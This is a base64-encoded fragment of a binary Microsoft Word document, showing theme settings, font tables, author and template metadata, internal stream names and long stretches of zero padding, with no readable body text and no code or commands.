Y2NlbnQ0PSJhY2NlbnQ0IiBhY2NlbnQ1PSJhY2NlbnQ1IiBhY2NlbnQ2PSJhY2NlbnQ2IiBobGlu az0iaGxpbmsiIGZvbEhsaW5rPSJmb2xIbGluayIvPgAAAAAlHAAADAAASgAACAD/////AAAAAAMA AAAGAAAABgAAAAkAAAAMAAAADAAAAAwAAAAMAAAADAAAADUAAAA1AAAANQAAADgAAAAACAAANkQA AFREAAATAAAAJAAAAAAIAAB4QgAAVEQAABQAAAAjAAAADwAA8EwAAAAAAAbwGAAAAAIEAAACAAAA AQAAAAEAAAABAAAAAgAAACMAC/AMAAAAhsEAAAAAxcEAAAAAQAAe8RAAAAD//wAAAAD/AICAgAD3 AAAQAA8AAvCSAAAAEAAI8AgAAAABAAAAAQQAAA8AA/AwAAAADwAE8CgAAAABAAnwEAAAAAAAAAAA AAAAAAAAAAAAAAACAArwCAAAAAAEAAAFAAAADwAE8EIAAAASAArwCAAAAAEEAAAADgAAUwAL8B4A AAC/AQAAEADLAQAAAAD/AQAACAAEAwkAAAA/AwEAAQAAABHwBAAAAAEAAAAAAAAAvQQAAMoEAAAS BwAAIAcAADYRAABDEQAAxBIAAM8SAADuGwAA8BsAAPEbAADzGwAA9BsAAPYbAAD3GwAA+RsAAPob AAAjHAAAJhwAAAcAHAAHABwABwAcAAcAHAAHAAcAAgAHAAIABwACAAcAAgAHAAIAAAAAAKIMAACo DAAAmA4AAMAOAADuGwAA8BsAAPEbAADzGwAA9BsAAPYbAAD3GwAA+RsAAPobAAAjHAAAJhwAAAcA GgAHABoABwAHAAIABwACAAcAAgAHAAIABwACAAAAAACFCgAAygoAAO4bAADwGwAA8RsAAPMbAAD0 GwAA9hsAAPcbAAD5GwAA+hsAACEcAAAjHAAAJhwAAAcABQAHAAcAAgAHAAIABwACAAcAAgAFAAcA AgAQAAAABAAAAAgAAADlAAAAAAAAAAMAAAA5PAIAEnMFAK4ZFACXKxwAiDYjAN53JAA+KTMAQHIz AGQbgADhJZcAzWifALhNxwBae8gAlXnQAKQM6AAsQvIAAAAAAO4bAADwGwAAAAAAAAEAAAD/QACA AQAAAAAAAAAAAAAAAAABAAEAAAAAAAAAAAAAAAAAAAAAAAIcAAAAAAAAAPsOAAAlHAAAYAAACAAA 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAG AQIAAAAAAAAAAAAAAAAAAAAAAAEAAAAC1c3VnC4bEJOXCAArLPmuMAAAAOwAAAAMAAAAAQAAAGgA AAAPAAAAcAAAAAUAAAB8AAAABgAAAIQAAAARAAAAjAAAABcAAACUAAAACwAAAJwAAAAQAAAApAAA ABMAAACsAAAAFgAAALQAAAANAAAAvAAAAAwAAADJAAAAAgAAAOMEAAAeAAAABAAAACoAAAADAAAA MgAAAAMAAAAOAAAAAwAAAOAbAAADAAAAAAAOAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAAsAAAAA AAAAHhAAAAEAAAABAAAAAAwQAAACAAAAHgAAAAkAAADN4Ofi4O3o5QADAAAAAQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAE AAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIA AAATAAAAFAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAAIAAA ACEAAAAiAAAAIwAAACQAAAAlAAAA/v///ycAAAAoAAAAKQAAACoAAAArAAAALAAAAC0AAAAuAAAA LwAAADAAAAAxAAAAMgAAADMAAAA0AAAA/v///zYAAAA3AAAAOAAAADkAAAA6AAAAOwAAADwAAAD+ ////PgAAAD8AAABAAAAAQQAAAEIAAABDAAAARAAAAP7////9////RwAAAP7////+/////v////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////1IAbwBvAHQAIABFAG4A dAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUB//// //////8DAAAABgkCAAAAAADAAAAAAAAARgAAAAAAAAAAAAAAAAD2nBadOM8BSQAAAIAAAAAAAAAA MQBUAGEAYgBsAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA4AAgH/////BQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAmAAAAFR0AAAAAAABXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAQEAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAuSgAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBh AHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIBAgAAAAQAAAD/////AAAAAAAA 